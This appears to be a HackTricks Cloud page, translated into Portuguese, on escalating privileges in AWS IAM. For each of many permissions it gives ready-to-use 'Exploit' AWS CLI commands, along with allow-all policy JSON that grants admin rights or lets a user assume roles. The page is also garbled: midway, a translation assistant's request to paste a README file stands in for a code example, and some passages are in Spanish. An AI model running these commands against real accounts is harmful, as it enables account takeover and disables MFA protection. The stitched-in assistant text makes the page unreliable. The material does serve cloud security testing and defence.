AWS - IAM Privesc
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
IAM
Para mais informações sobre IAM, consulte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão iam:SetDefaultPolicyVersion ao usar a flag --set-as-default. Isso permite definir permissões personalizadas.
Comando de Exploração:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
iam:SetDefaultPolicyVersion
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: Elevação de privilégios indireta por permitir conceder mais permissões.
iam:CreateAccessKey
Permite criar access key ID e secret access key para outro usuário, levando a possível elevação de privilégios.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Escalada de privilégios direta ao assumir as permissões ampliadas de outro usuário.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a escalada de privilégios direta.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Escalada de privilégios direta ao fazer login como "qualquer" usuário.
iam:UpdateAccessKey
Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalada direta de privilégios reativando access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit para Redefinição:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impacto: Direct privilege escalation dentro das permissões de serviço do usuário.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permite anexar políticas a usuários ou grupos, directly escalating privileges ao herdar as permissões da política anexada.
Exploit para Usuário:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para Grupo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impacto: Direct privilege escalation para qualquer coisa que a política conceda.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permite anexar ou aplicar políticas a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit para Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir.
Observações rápidas:
- Vou traduzir somente o texto em inglês relevante para Português.
- Não vou traduzir código, nomes de técnicas, termos como aws/gcp/Workspace, links, paths, tags markdown/html, refs nem quaisquer identificadores que você listou nas instruções.
- Manterei exatamente a mesma sintaxe markdown/html.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Escalada direta de privilégios ao adicionar permissões por meio de políticas.
iam:AddUserToGroup
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Escalada direta de privilégios ao nível das permissões do grupo.
iam:UpdateAssumeRolePolicy
Permite alterar o documento de política de assume role de uma role, habilitando a assunção da role e suas permissões associadas.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Quando a policy se parecer com o seguinte, o que dá ao usuário permissão para assumir a role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impacto: Escalada de privilégios direta ao assumir as permissões de qualquer role.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada de privilégios indireta.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para desativação de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Indirect privilege escalation ao permitir acesso ao CodeCommit ou desativar a proteção MFA.
iam:ResyncMFADevice
Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Com essas permissões você pode alterar os metadados XML da conexão SAML. Em seguida, você poderia abusar da SAML federation para login com qualquer role que confie nela.
Observe que, ao fazer isso, usuários legítimos não poderão fazer login. No entanto, você poderia obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Uma ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Não tenho certeza sobre isto) Se um atacante tiver estas permissões ele poderia adicionar um novo Thumbprint para conseguir efetuar login em todos os roles que confiam no provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Esta permissão permite que um atacante atualize o limite de permissões (permissions boundary) de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o permissions boundary de uma role: essa pessoa pode restringir operações de forma indevida (causando interrupção de serviço) ou, se anexar um permissions boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud